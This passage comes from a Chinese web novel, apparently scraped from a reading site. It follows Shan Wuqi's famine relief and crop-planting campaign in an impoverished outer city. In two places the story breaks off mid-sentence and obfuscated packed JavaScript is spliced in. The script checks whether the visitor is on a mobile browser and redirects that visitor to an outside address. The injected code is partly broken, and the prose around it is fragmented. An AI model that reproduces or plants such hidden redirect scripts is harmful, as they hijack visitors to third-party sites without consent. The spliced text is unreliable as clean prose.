“无绮。”首长看着单无绮泪濛濛的双眼,她明明还是个孩子,但基地的光明与前路,已经渺茫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053916|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到需要孩子去接力了,“外城绝不能被放弃,接下来的一年,我需要你做一件事。” 单无绮重重地吸了一下鼻子:“什么事?” “拓荒。”首长道。 …… 带着内城人的种种猜想,单无绮乘坐“黎明号”来到外城。 当黎明号的汽笛划破天际,单无绮从火车上跳下,第一眼看到的,便是一双麻木而浑浊的眼睛。 单无绮盯着那人脚边的破碗,沉默地从腰间解下水囊,将里面的清水倒入破碗中。 那人没有动,甚至眼睛也没有眨一下。 单无绮伸指触探他的鼻息。 ——他死了。 单无绮站起身,极目远眺。 一个个外城人肋骨暴凸,宛如行尸走肉。一座座土房破败拥挤,宛如狭小鸽笼。外城人行走在黄土路上,脚板连扬起飞尘的力气都没有。 时隔多年,单无绮重新踏上外城的土地,扑面而来的,却并非善意或恶意,而是悲哀的冷漠。 饥饿和死亡是双生的兄弟,当一个人连最基础的生存都无法保障时,他绝不会有多余的精力关注外界的变化。 直到死亡将他吞噬。 直到死亡赐他长眠。 萨摩走到单无绮身边,五官冷峻锋利,神色惊愕沉痛。 他是锦衣玉食的少爷,童年唯一的苦恼就是每天只能吃一个冰淇淋球,连他家的狗都有一个单独的房间,他根本无法想象,外城人竟然过得连他的狗都不如。 “萨摩,记录。”单无绮道,“这是拓荒年饿死的第一个人。” 萨摩下意识反驳:“他明明是……” “他是被高位者的政治博弈杀死的,他是被这个狗屁的世道杀死的——你想这么说,对吗?”单无绮的声音冷戾而压抑,“但死亡是公平的,死神并不在意,是谁让祂挥下了镰刀。” 萨摩沉默。 单无绮顿了顿,又道:“死了……就什么都没了。” 死了,就什么都没了。 无论家财万贯或一贫如洗,无论位高权重或人微言轻,死了就是死了,再也不能活过来了。 萨摩是单无绮的徒弟,此次拓荒,他一开始只将其视作一次履历上的镀金,并鼓足勇气和斗志,认为自己一定能脱颖于众人。 但现实狠狠地扇了他一巴掌。 这不是一次镀金之旅。 这是生与死的拔河比赛,是一群卑微如蝼蚁的人类,从视万物为刍狗的死神手下拼命抢人。 外城人在政客眼里,是一张张摇摆不定的选票,外城人在商人眼里,是一头头任人压榨的牛马,外城人在内城人眼里,是一个个土得冒泡的穷鬼。 但在单无绮眼里,外城人,是人。 黎明号带来了单无绮和她的拓荒团队,以及中央大楼下拨的第一批物资。 第一天结束,第一批物资发放完毕,但这座饥饿的城市仍然没有饱腹。 夜色如墨,外城站台处,饥民排起长长的队伍。单无绮和衣而睡,利用珍贵的睡眠时间养精蓄锐,等待迎接第二天的苦战。 但一阵激烈的打斗声让单无绮竖起耳尖。 她睁开一只眼睛,发现萨摩和队友打了起来。 67. 单无绮的往事(八)) 单无绮没有第一时间出手。 她佯装熟睡,不动声色地偷听二人的对话。 “你以为你很聪明吗,内城的小少爷?”那人压着声音怒吼,显然不敢惊醒熟睡的单无绮,“你把你的配给偷偷塞给那对母女,你以为你真能救活她们?你这是要了她们的命!” 那人的声音,单无绮并不陌生。 他叫麦尧,一个新兵蛋子,目前在梅的手下打杂,算是梅有意栽培的心腹。 萨摩还算沉得住气:“为什么?” “一个刚分娩的女人,和一个嗷嗷待哺的女婴,世上没有比这更弱小的组合了。”麦尧恨铁不成钢,“你第一次把配给塞给那女人的时候,那女人连接都不敢接,你以为她是在害怕你吗?” 萨摩沉默。 “……她是在害怕其他饥民。”麦尧的声音含着浓浓的痛苦,“如果她什么也没有,她只是会饿死,但凡她拥有了什么,哪怕只有一丁点儿食物,她也会被那群人……” “我把我的枪一并给她了。”萨摩道。 麦尧痛苦的表情僵硬了一瞬。 正在此刻,也许是为了印证萨摩的话,一声枪响撕破了外城的夜晚。 砰——! 麦尧和萨摩同时愣住。 单无绮睁开双眼,湛蓝的眼瞳微微反光。 她起身,飞速向枪响处奔去。 单无绮赶到现场时,一场对峙仍在继续。 女人将婴儿护在怀里,左手颤抖持枪。女人的脚边蜷缩着一个艰难喘息的男人,男人胸口染血,但双手仍然死死地钳着女人的脚踝。 女人正前方,一个男孩远远地站着。 见单无绮赶来,那远远站着的男孩眼底闪过一丝惊慌,他看了眼倒地的男人,无可奈何地踉跄逃走。 抱着孩子的女人微微松了口气。 萨摩晚到一步,站定在单无绮身后。 单无绮看着肉眼可见警惕起来的女人,拔出别在腰上的枪,远远地扔在一旁。 “嗬……”女人脚边的男人发出垂死的气音。 女人的眼底浮出泪水。 在单无绮和萨摩的注视下,女人用力拔出被男人抓住的脚,犹豫片刻后,又从婴儿的襁褓里,掏出了一点珍贵的食物。 ——那食物被女人藏进襁褓,原本是萨摩今日的配给。 男人得到食物,眼珠垂涎而黯淡地盯着婴儿的襁褓。女人啐了男人一口,抹了抹脸上的泪痕,在原地愣了几秒后,又小心翼翼地看向单无绮。 女人的视线只在单无绮身上停留了一瞬,犹如凝视刺眼的太阳。 麦尧气喘吁吁地赶了过来:“单、单副官……” “你杀了人,罪证确凿。”单无绮道,“你有什么话想对我说?” 萨摩呼吸一滞,麦尧愣在原地。 女人是外城万千苦难的一个缩影,她这样的人绝非少数。 听到单无绮的话,女人抬起仓皇的眼睛,目光在单无绮脸上停留几秒,试图揣度单无绮的情绪。 单无绮没有表情。 几秒后,女人垂下眼眸:“我认罪。” 萨摩上前半步,又被麦尧拉回。 单无绮追问:“你犯了什么罪?” “……我不该杀人。”女人弯下脆弱的脖颈,仿佛拷着千斤重的铁枷锁,“这把枪,我应该用在别的地方。” 单无绮凝眸:“用在哪里?” “用在我的脑袋上,大人。”女人答。 萨摩再次上前,这一次,麦尧没有拉住。 萨摩走到垂死的男人身边,蹲下检查。 女人肉眼可见地更害怕了,但她没有动弹,咬紧牙关颤栗地站在原地。 麦尧大气都不敢喘。 单无绮眼神变幻几瞬,打算看一看萨摩的反应。 萨摩的白手套染上鲜血,他是友爱部特情司的人,鉴定伤势是他的基本功。 男人的呼吸愈发微弱,胸口的起伏几近于无。 萨摩检查完毕。 他摘下手套,扒开男人的衣服,将那枚子弹徒手挖了出来。 叮! 子弹落地。 鲜血从伤口处汩汩流出,但萨摩的手更快,一番紧急止血后,男人的命暂时保住了。 萨摩抬头,一个男孩躲在远处,不敢靠近。 那是刚才逃走的男孩。 萨摩比单无绮晚到一步,因此只看过男孩的背影,但他一眼就认出了对方。 “你父亲没事了。”萨摩对男孩说。 男孩迟疑地走过来,跪在地上探触男人的鼻息。女人盯着男孩,微不可察地向萨摩挪行几步。 男孩确认男人存活,像一只警觉的小兽,要把男人背走。 萨摩:“明天来赈灾点,我把明天的配给给你。” 男孩并不领情,带着男人以最快的速度逃走。女人抱着婴儿,突然“扑通”一声跪坐在地。 萨摩回头:“你没有罪,你没有杀死他。” “……我有罪,我有罪。”女人的精神彻底崩溃了,“大人,大人,我有罪……” 这严重超出了萨摩的认知范围。 萨摩僵着染血的手,无措地站在原地,仿佛一个做错事的孩子。 单无绮拍拍萨摩的后背,示意萨摩往后站。 萨摩后退。 单无绮蹲在女人面前。 “这孩子有名字吗?”单无绮温声问。 女人精神崩溃,但对内城人的畏惧刻在她的骨子里。 听到单无绮的问话,女人条件反射地抬起脑袋,发条木偶一样答话:“有的,大人。” “叫什么?” “米……米米。” “你想米米活命吗?”单无绮问道。 萨摩没明白单无绮的逻辑,但女人枯败的双眸突然亮了亮。 在萨摩和麦尧或疑惑,或沉默的注视下,女人爆发出极强的求生欲。 她抓住单无绮的衣角,脸庞卑微而恳切地埋进地里。 女人道:“我想她活命,大人。” “你持枪杀人,动机清晰,死罪难逃。”见女人从崩溃中挣脱,单无绮恢复了平日的口吻,冰冷、理智、高效,“但你的女儿是无辜的。你是我在外城抓住的第一个罪犯,所以,我给你将功补过的机会。” 萨摩思索地盯着女人的脸。 那是一张和之前截然不同的脸,不复灰白、枯槁和衰败,而是充满了渴望。 她拥有了活下去的渴望。 她的生命被单无绮点燃了。 “带着这把枪护身,你去统计外城的人口。”单无绮毫不留情地提出一个过分的条件,但令萨摩不解的是,女人堪称温顺地接受了,“你的眼睛看得清钟楼上的时间吗?” 萨摩抬头。 钟楼是外城最高的建筑,明亮的月光下,时针和分针清晰可见。 女人眯眼看了看,点点头。 “明早九点,你把情况汇报给我,无论是否完成。”单无绮道。 女人温顺地答:“好的,大……” “有热水。”单无绮打断道,“表现得好,还有奶粉。” 刷! 女人呆钝的眼睛一瞬间鲜亮了。 女人离开了,一瘸一拐,带着某种决心。单无绮盯着地上的血泊,迟迟没有起身。 萨摩轻声道:“师父……” “处理得不错,但还有待改进。”单无绮语气淡淡,但萨摩仍能听出里面的不满,“说说吧,这一次,你哪里做错了?” 萨摩反思,麦尧不语。 麦尧看着单无绮。 麦尧知道萨摩是个关系户,但他对单无绮更不服气,因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15062267|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单无绮不仅一跃成为副官,而且实在太过年轻。 许多人终其一生都无法进入首长的视线,但单无绮不仅毫不费力地成为被拣选者,甚至还得到了首长极大的青眼。 如果我有她这样的好运……许多人暗地里都这么遐想过。 但今天,麦尧见到了真正的单无绮。 她深谙人性,知道人不会接受无缘无故的好意,更不甘心成为被施舍者,于是,她将馈赠包装成交易,以对方能够支付的价格兜售出去。 她育人有方,没有打击学生的积极性,而是耐心地观察学生的反应,并为学生及时兜底。 而现在,她又在引导萨摩主动思考。 好运的人……原来是你啊,内城的小少爷。 麦尧站在一旁,双眼微微垂下。 “我不该把食物直接给她,师父。”萨摩并不笨,相反,他十分聪明,只是缺少经验和阅历,“她带着孩子,本就十分累赘,我让她成为众矢之的,更让她自身难保。” “继续。”单无绮道。 “而且,我在引诱她杀人。”萨摩开始检讨,“我把食物和枪一起给她,就算她不在今晚开枪,也会在明晚或后晚开枪。” 单无绮笑了一声:“还不算蠢到家。” 萨摩低下头:“师父……” “这次就算了,再有下次,一并罚过。”单无绮捏捏萨摩的脸蛋,略带亲昵,“辛苦你一夜,你也去统计外城人口,顺带学学怎么抱小孩。” 萨摩下意识把脸往单无绮的手心里送:“抱小孩?” “那女人是个搞侦查的好苗子,埋没在外城,有点可惜了。”单无绮长叹一口气,“第一次拿枪就敢杀人,事后也没有丧失思考能力,甚至还能分析逻辑,察觉出我想保她一命……她比你强。” 萨摩看不见的狗耳朵焉巴垂下。 单无绮收回手:“去吧,别让我失望。” 萨摩应了一声,听话地做事去了。单无绮撑膝起身,突然发现麦尧有点不对劲。 单无绮眯眼:“你……叫麦尧是吧?” 麦尧小伙立正了:“是,单副官!” “你是个好人,小麦。”单无绮语气淡淡,却不乏褒奖之意,“萨摩这混小子,让你操心了。” 麦尧:“……” 麦尧:“单副官,我姓洛佩兹。” “知道了,小麦。”单无绮已读,但不采纳。 麦尧:“……” …… 天亮时分,黎明号运来了第二批物资。 单无绮坐在高台上,双腿微晃,一边把玩手里的鞭子,一边垂眸倾听萨摩的汇报。 萨摩汇报完毕,单无绮看向钟楼,发现已是上午九点整。 萨摩抬眸远眺。 不多时,一个渺小的身影在视野尽头出现,一瘸一拐,步伐坚定。 女人来了,左手抱着襁褓,右手拿着手枪。 她带来了外城人口的汇报,不如萨摩详细,但数据相差不大。 女人的努力得到了回报,她用珍贵的热水冲开奶粉,怜惜地哺喂怀里的女婴。单无绮托腮坐在一旁,余光盯着女婴逐渐红润的脸,有一下没一下摩挲手里的长鞭。 突然,一个襁褓落入单无绮臂弯。 单无绮猛地抬起头,迎面是女人笑盈盈的脸。 “您喜欢孩子?”女人恭敬而不失讨好,“您抱抱她。” 单无绮浑身僵硬如一块石头,她轻手轻脚,只觉得这柔软的小东西仿佛没有骨头,一抱就碎。 萨摩走来,将女婴抱起。 女人盯着萨摩的动作,又垂下眼眸,认可了他的抱娃水平。 萨摩看着单无绮,后者难得没有占据高地,他久违地看到了师父的发顶。 萨摩:“师父,我抱得好吗?” 单无绮:“……” 68. 单无绮的往事(九) 连续七天,黎明号装载中央大楼下拨的物资,从内城来到外城。 外城人开始习惯刺耳的汽笛声,以及每天破晓时分,黎明号喷吐着金红色的铁花和浓白的蒸汽滑入月台,每一节车厢都满满当当,犹如攥握金币的巨龙降临未开化的穷土。 呜呜呜—— 汽笛响起。 黎明号如约而至。 排着长队的人们翘首以盼。 这是赈灾的第八天,天空尚未完全破晓,几盏马灯挂在月台上,照亮了人们饥瘦的面庞和渴望的目光。 但令人们困惑的是,此次前来,黎明号没有带来任何食物。 单无绮指挥下属,将拓荒物资从火车上搬了下来。 耕作机械、牲畜、种子和肥料…… ——以及一个不到十人的学者团队。 外城人的目光从疑惑转为警觉,但单无绮还在现场,因此,他们并没有立刻发出切切议论声。 学者团队纡尊降贵。 单无绮主动伸出一只手:“日安,戴文同志。” 戴文戴着单片眼镜的脸高傲地打量单无绮。 良久,戴文慢条斯理地戴上手套,握了握单无绮悬停到僵硬的手,一触即分。 “日安,单副官。”戴文是传统内城人,对外城的轻蔑溢于言表,“如你所见,我们来了。” “食物呢?”单无绮问。 戴文发出一道冷戾的笑声。 “一味的施舍只会滋生懒惰,他们有土地,有种子,有犁和锄头,这还不够吗?”戴文的视线朝身后看去,“我们甚至带来了珍贵的马和牛。” 萨摩阴森地盯着戴文:“你篡改了单副官提交的清单。” 戴文的视线划过萨摩:“亨特家的小少爷,你凭什么血口喷人?” 内城的矛盾比外城更加尖锐,萨摩和戴文视线交火,宛如厮杀。 单无绮上前一步,将萨摩不着痕迹地挡在身后:“舟车劳顿,诸位需要休息,请允许我为你们带路。” 戴文颔首。 单无绮低声吩咐萨摩安抚外城人,又对戴文露出恰到好处的微笑,示意学者们跟随自己。 天边浮起鱼肚白,外城的土路仿佛一根根沾满尘土的肋骨。单无绮走在前面,戴文等人走在后面,精致的衣摆染上不少脏污。 戴文开口:“单副官,你要带我们去哪里?” 单无绮回眸一瞥,腰间手枪的保险“咔”地打开:“瓮城,高处。” 戴文:“恕我拒……” 一只冰冷的枪口眨眼间抵上戴文的额头。 戴文神色冷凝,单片眼镜反射微光。 单无绮发出一声意义不明的轻笑。 她轻描淡写地收回手枪,插到腰间的皮质枪鞘里。 “当着其他人的面,我会给你三分薄面,但这里没有旁人。”单无绮拨弄保险栓,咔咔,咔咔,“你和你的团队全部死在这里,也不过只是首长桌上的一纸讣告。” 戴文呼吸一滞。 他短暂地收敛了浑身的尖刺——识时务者为俊杰,身为高级知识分子,他不会和一个没见识的小姑娘计较。 他们来到瓮城最高处,城墙之上。 三百多年前,筑墙者修起高墙,将人类的火种围护其内,但如今,这团微弱的火种即将熄灭。 城墙宽阔得能跑马,单无绮在边缘坐下:“你也坐。” 戴文犹豫片刻,将一小块地方擦拭干净,警惕地坐下了。 戴文的态度隐含警告:“你想把我推下去?” “怎么会呢?”单无绮露齿一笑。 单无绮长着一张很有欺诈性的脸,下巴尖尖,眼尾上翘,眼仁大而清澈,仿佛一只娇养的猫。 戴文的神色因此松弛了一瞬——对方只是个孩子,而且是个漂亮孩子:“我修改了你的物资清单,你是一人之下的副官,但你显然没有进修过农学。” “哦?请讲。” 于是戴文娓娓道来。 学者身上萦绕着清贵的气质,和贵族糜醉的美酒不同,他是一杯苦涩的清茶。 戴文的确有不圆融之处,但当涉及他的专业领域,他一瞬间从地上的人变成了天上的神。 他坐在高高的城墙上,双手挥斥方遒,两唇舌灿金莲。 他在规划外城的未来。 他在规划人类的未来。 身后的学者们是戴文的弟子,他们听得连连点头,心驰神往。 单无绮托腮安静地听着,待戴文讲完,她道:“不错的想法。” 戴文的单片眼镜反着光:“所以……” “但抱歉,我只能请你回去。”单无绮毫不客气地发出逐客令,“你的理想很伟大,但我们需要一套更加落地的方针。” 戴文的弟子们目露恼意,但戴文竟然沉默了。 他和单无绮坐在外城最高处,他们俯瞰着整个外城。 戴文属于内城,他是万千内城人中的一个,如蝼蚁行于大地之上。 但今天,他来到了城墙上,一如上帝坐在云端。 外城和内城的贫富差距,以最宏大的视角向戴文展开。 外城是内城的最后一道防线,戴文知道,内外两城宛如云泥,但他从未想过,这差别本不应存在于人类与人类之间。 他们是同胞。 而非拣选者和被拣选者。 戴文沉默地坐在单无绮身侧,单片眼镜反射着头顶朝阳的光芒。 单无绮没有用口舌反驳他,她将他带到这里,用铁一样的现实向戴文论证——你那些用数据和推演堆砌出来的论文,对外城没有半分好处,外城人不是实验皿里的培养菌,他们是活生生的人。 去看他们,去听他们,去问他们。 而不是去猜想甚至摆弄他们。 萨摩用笨拙却真挚的口舌安抚住外城人,同时向家族寄信一封,打算动用私产,为外城人买一车物资。 但他远远看到单无绮和学者们从道路尽头走来,黎明撒在他们的头上和肩上,仿佛蒙了一圈纯白的光环。 天上的使者落地了。 他们的智慧,从此刻起,为地上的人民所用。 赈灾物资中断了半天,当天下午,一辆中途插班的火车拉响汽笛,停靠在月台处。 萨摩的家书得到回信,他的贵族父亲大力夸赞他的为民之心,并表示已将这份功劳汇报给首长。 单无绮和戴文清点新一批物资,站台外,饥饿的外城人重新排起长队,他们嗅到了今天填饱肚子的希望。 戴文推了推单片眼镜:“我以为他们会是一群刁民。” 单无绮登记的笔一停:“为何?” “贫穷滋养短见,这是社会铁律,因为穷人短暂如朝露的生命,不足以支撑高远的眼光——慧极必伤,此乃生命不可承受之重。”戴文遥遥凝视排队的外城人,他表示不理解,并且向单无绮虚心请教,“你对他们做了什么,他们竟然不争、不偷、不抢?” 单无绮笑了一声。 她温和地看着戴文,她鲜少如此温和:“很简单,我向他们许诺看得见的未来。” 戴文凝眸:“比如?” “今天乖乖排队的人,明天可以领肉。女人和小孩来领食物,可以领走双份。”单无绮耐心解释,此刻,她仿佛才是一位学者,一位师长,“当做一件好事有切实的好处,没人介意当一个好人。” 戴文道:“但这不是长久之计。” “所以你来了。”单无绮轻笑一声,“这片土地需要你,这里的人民需要你——外城有大片大片荒废的土地,我们有人,有种子,有拓荒的犁和力气,却唯独缺乏科学的方法。” 单无绮的目光真诚且毫不作伪,被这样灼灼的眼眸凝视,戴文不由得移开了视线。 戴文低声道:“我会的。” 单无绮笑道:“谢谢你。” 一阶段赈灾结束,二阶段拓荒开始。 戴文和他的团队躬身走遍每一寸土地,进行勘探、测量,制定出一套科学高效的拓荒方案。 单无绮和萨摩挨家挨户走访,如同春天的信使,为外城的每一户人家带来播种的讯息。 “种子不要钱,农具也不要钱,而且包吃包住 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萨摩沉默地站在单无绮身侧,眼眸仿佛包着火的寒冰。戴文从田里赶来,裤腿挽得一长一短,双手带着湿泥。 戴文推门开口:“小妮子,那群人……” 哗啦—— 单无绮轻轻撕碎了那封信。 雪白的纸屑从单无绮指间落下,仿佛一场春天的雪。 单无绮抬起澄静的蓝眼睛,她在乎的另有其事。 “种子种下去了吗?”单无绮问。 萨摩看向戴文。 戴文缓缓闭上张开的嘴。 若是在从前,如果有人打断他的话头,并罔顾他的意愿另起话题,他定会勃然大怒。 但今天—— “第一批种子已经种下去了。”戴文答。 单无绮期待地问:“有哪些种子?” “土豆,小麦,红薯。”戴文继续答,心平气和,甚至暗含欣喜,“如果顺利,今年的五月,会是第一个丰收月。” 单无绮垂眸。 “那就好。”她轻声道。 戴文离开了,他挂念那些田和种子。 萨摩在原地安静地站了一会儿,蹲身拾捡地上的纸屑。 一双手将萨摩低垂的脸庞抬起:“别低头。” “我不是为写信的人低头。”萨摩的吐息打在单无绮手心,微微的暖,微微的凉,“内城掌握着物资,现在暂时不能激怒那些贵族——我是为了外城的人民低头。” “即使这样,那也不可以。”单无绮教诲,“你是我的助手,那些针对我的刁难和恶意与你无关。” “助手?” “……还有弟子。”单无绮的眼睫颤抖几瞬,“我是你的老师,萨摩。” “还有呢?”萨摩追问。 单无绮沉默。 单无绮撤开手,萨摩失去支撑,在原地微微晃了一下。但他很快站稳了,如往日一样沉默地起身,离开。 他的日程并不比单无绮轻松。 拓荒是个苦差事,一个人能劈成三个人用,若非公务,萨摩和单无绮几乎说不上话。 萨摩关门离开,单无绮盯着紧闭的门扉,复杂地叹了口气。 她从抽屉里拿出另一封信——这是一封密信,来自首长。 致我的副官: 血清研发正式进入活体实验阶段,第一批“志愿者”是那群冥顽不灵的老东西。不必在意那封举报信,信的主人已是一堆冰冷的白骨。 二代血清正在路上,研发周期会比一代血清更短。 我们的时间不多了,伊甸的损耗率已经超过50%。 最后,外城拓荒还顺利吗? ——你的,老大哥 单无绮沉思,沉默,继而沉寂。 良久,单无绮将首长的信放进抽屉。 拿起放在角落的锄头,单无绮离开屋子,走向那一片开垦的荒田。 往事暗沉不可追,来日之路光明灿烂[1]。 希望种在土地里。 时间会让它发芽。 69. 单无绮的往事(十) 春三月,土地冒出新苗。 单无绮擦拭额头上的汗水,对一旁的戴文问道:“庄稼长势如何?” “不算太好,但……我们已经尽了最大的努力。”戴文脏兮兮的手在衣摆上擦了擦,拿起裹满泥浆的笔,在小本子上记录,“这一批种子,我原本打算充作绿肥的。外城的田地肥力太低,这些种子能发芽都已经是个奇迹。” 单无绮陷入沉思。 她站直身子,从田垄间眺望远处忙碌的农民。 他们面朝黄土背朝天,体格依然削瘦,头发依然枯黄,但他们的眼睛里多了一种名为“希望”的光彩,让那些原本平平无奇的脸庞,变得不再黯淡如死物。 单无绮喃喃道:“外城……也是基地的绿肥吗?” 戴文眨眼:“什么?” “没什么。”单无绮缓慢地摇头,“这些种子五月就能收获吗?” “是的。” “还有两个月。”单无绮蹲下身,怜爱地抚摸脚边的绿苗,“快快长,快快长,外城等着用你们填饱肚子呢。” 但春夏之交的四月,意外发生了。 萨摩急促地敲响单无绮的房门,而这段时间,单无绮一直是和衣而睡。 她睁开疲倦的双眼,连鞋都来不及穿,匆忙地打开房门。 ——一张凝结着愤怒与绝望的脸庞,映入了单无绮的眼帘。 单无绮盯着萨摩满脸的汗水与怒火,心头倏地一沉,却放柔声音问:“发生了什么?” “庄稼……庄稼……”萨摩鲜少语无伦次,“师父,庄稼没了。” 单无绮愣了一瞬。 下一秒,她推开萨摩,像一只奔袭的山猫,踉踉跄跄地跑向那一片寄托着希望的田地。 田埂上,几个外城人跪地哭嚎。 单无绮的速度一开始极快,但随着距离越来越近,她的脚步一点点放慢,到最后,甚至近乎蹒跚挪行。 最终,单无绮站定在田地边。 ——一夜之间,所有的庄稼全部枯死了。 ——绿意被枯黄覆盖,宛如死亡吞噬了生命。 戴文和他的学生们披头散发,连睡衣都没有换下,俯身检查一株株枯萎的庄稼。 萨摩晚到一步,伸手搀扶单无绮。但单无绮一瞬间强行冷静下来,把所有的情绪通通压到了心底。 她走到戴文身边:“能找到原因吗?” “烧苗了。”戴文的脸沉痛且惋惜,“肥力过剩,这些庄稼……受不了太多的肥。” 单无绮盯着戴文:“为什么会烧苗?” “我制定的计划绝无问题,但有人刻意多浇了肥。”戴文的语气并无苛责,但无可避免地有着一丝恼怒,“说得直白一点,那些外城人把他们的排泄物……唉,好心办了坏事。” 单无绮安静了几秒。 她道:“这些庄稼,能埋进土里做绿肥吗?” 戴文点头:“可以,这是最好的补救办法。” “那就这么办。”单无绮决定道。 戴文和他的学生们得到命令,开始把一颗颗枯萎的庄稼翻进土里,但几个跪地哭泣的外城人如同发疯的野兽,连摔带跑地拦下戴文。 “不要!”外城人们的吼声愤怒而卑怯,“不要埋掉!” 戴文停下动作,无措地望向单无绮。单无绮垂下眼睛,轻轻按上外城人的肩膀。 “对不起。”单无绮真诚地道歉,“是我辜负了你们。” 为首的外城人被单无绮按住肩膀时,脸上下意识架起了防御的表情,仿佛刺猬竖起尖刺。 但他没料到单无绮竟然会道歉,那些仓促竖起的尖刺,一瞬间变成了肆意流下的、滚烫的泪水。 “不是的……不是的……”外城人含糊地呜咽,“不是您的错,单副官……是我们……是我们!” 内外两城的矛盾,从基地成立起就一直存在。 单无绮和她的拓荒团队都是内城人,即使他们已经展示出足够的善意,并且带来了足够的好处,但外城人内心深处的隔阂,却始终无法消融。 单无绮强大,所以外城人依附。 单无绮友善,所以外城人顺从。 但这只是一场貌合神离的木偶表演,在涉及核心矛盾的关键节点上,单无绮的命令并不能完全生效。 于是,这些庄稼枯死了。 它们因为外城人的短见枯死了,它们因为外城人的心愿枯死了。 单无绮无法苛责任何一人。 戴文的计划泡汤了,他付出了无数个日夜的思考和奔波,一切却需要推翻重来。 外城人的希望落空了,丰收月将从原定的五月往后推迟,甚至很可能颗粒无收。 萨摩等人的努力也付之东流,他们从富裕的内城来到贫瘠的外城,从金娇玉贵变得满手老茧,但外城的苦难并没有因此结束,反而重新回到了起跑线。 如果世上有神明,祂坐在高天之上,又会对这一切发表怎样的感慨? 单无绮不知道。 她只知道,所有人都没有错。 但这所有的一切,都无可避免地,正在发生。 为首的外城人簌簌颤抖,汹涌的自责和愧悔攻击着他的灵魂,大颗大颗的眼泪从他的眼角落下,他恍惚地盯着单无绮的脸,突然生出无尽的后怕。 外城在永夜里摸打滚爬、伤痕累累,他们等待了几十上百年,终于等来了照彻永夜的太阳。 但……这颗太阳会离开吗? 外城人膝盖发软,他几乎可以确定,单无绮一定会离开。 不要走! 求你不要走! 一只冰凉的手突然抓住他的衣领。 外城人呆钝地抬头,迎面撞入单无绮湛蓝的眼睛。 ——那是一双疲倦却不失斗志的眼睛,宛如一把沾着露水的长刀。 “你犯了错,我要罚你。”单无绮的声音透着虚弱,却仍然满含威胁,“这批庄稼毁了,我会向首长写信,让内城送来新的种子——你,从今天起加入戴文的团队,戴文做什么,你就做什么。” 外城人不敢置信地睁大眼睛:“单副官……” “别拿不识字当借口。”单无绮眯起双眼,“你叫什么名字?” “陆、陆奇。” “听好了陆奇,外城是你们的外城,不是我的外城!”单无绮松开对方的衣领,语气恨铁不成钢,“我只会短暂地停留在这里,外城的未来,永远掌握在你们的手里!” 单无绮无法责怪任何人,但她的精神已经紧绷到极致,也疲倦到极致。 说完这些话,单无绮强撑着一口气,转身打算查看田里的庄稼。 但一阵强烈的晕眩突然席卷了她,她眼前一黑,双脚一软,转瞬间滑倒在地。 萨摩猛地冲过来:“单无绮!” 戴文惊叫一声,丢掉了学者的最后一丝矜持,手忙脚乱地跑到单无绮身边。 萨摩通红着眼睛,将单无绮牢牢钳在怀里。 戴文盯着萨摩的脸。 电光火石之间,戴文明白了什么。 戴文说:“松开她。” 紧接着,戴文又说:“她是你的师父。” 此话轻飘飘落入萨摩耳中,却犹如一道惊雷,眨眼间惊醒了他的魂魄。 萨摩盯着戴文,怔怔地松开单无绮。戴文的女弟子将单无绮接入怀中,轻手轻脚地检查单无绮的身体。 外城人陆奇走过来:“萨、萨摩同志。” 萨摩抬起眼廓极深的绿眼睛,阴沉,愤怒,仿佛地狱里翻涌的岩浆。 陆奇深吸一口气,把脸伸了过去。 陆奇:“你揍我吧。” 砰! 萨摩的拳头毫不留情地砸上了陆奇的脸。 陆奇整个人翻滚了一圈,软绵绵地趴倒在地上。萨摩颤抖着呼出一口气,又抬起手,重重地扇了自己一巴掌。 陆奇惊愕地抬头看着萨摩,其他外城人也齐齐投来视线。 这完全不像平日里冷静自持的萨摩。 现在的萨摩,仿佛一头笼子里的困兽,通红着双眼,磨吮着獠牙。 “你们这群幸运的家伙,把师父的好意弃之如敝履!”萨摩喷吐着愤怒的鼻息,但他的气话只说到一半,又投鼠忌器地收敛了一切锋芒,“……我甚至不能责怪你们——因为她爱你们。” “萨摩。”单无绮的声音从不远处传来。 萨摩紧绷的身体肉眼可见地一僵。 单无绮从女弟子怀里起身。 夜色如晦,单无绮明亮的蓝眸牢牢地盯着萨摩的脸:“你干了什么?” 萨摩咬紧牙关。 他向外城人低头:“对不起。” 一双冰凉的手,轻轻抚上萨摩脸上的红痕。 那双手有着少女的柔软,却因长期的劳作覆满疤和茧。 萨摩微微驼着背,他也完全变了模样 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风吹,日晒,雨打。 单无绮带领着外城人,跨越了无数艰难险阻。但外城的一切苦难都不再是人祸,而是人力无法左右的天灾。 整整半年,单无绮没有睡过一次整觉。 她的鞭子笞打着偷懒的农夫,让那些懒汉哀叫求饶。 她的眼睛清点着运来的物资,生怕内城少给外城一粒米,一块肉。 她的鞋子走烂了一双又一双,脚心的烂疮比衣服上的补丁还要多。 她的声音冷戾而沙哑,却会在孩子们期冀的目光中,用最柔和的腔调,轻声讲述温馨的床头故事。 七月,外城终于迎来了丰收季。 一捧捧金黄的麦穗在烈日和微风中摇曳,仿佛土地的赞歌。劳作了半年的农民们欢欣鼓舞,激动而虔诚地跪倒在地,亲吻脚下的泥土。 “我们丰收了。”单无绮道。 单无绮的声音十分平静,但萨摩知道,单无绮早已习惯将一切浓烈的情绪压制在心底,她表现得越平静,说明她的内心越不平静。 是夜,麦子收割完毕。 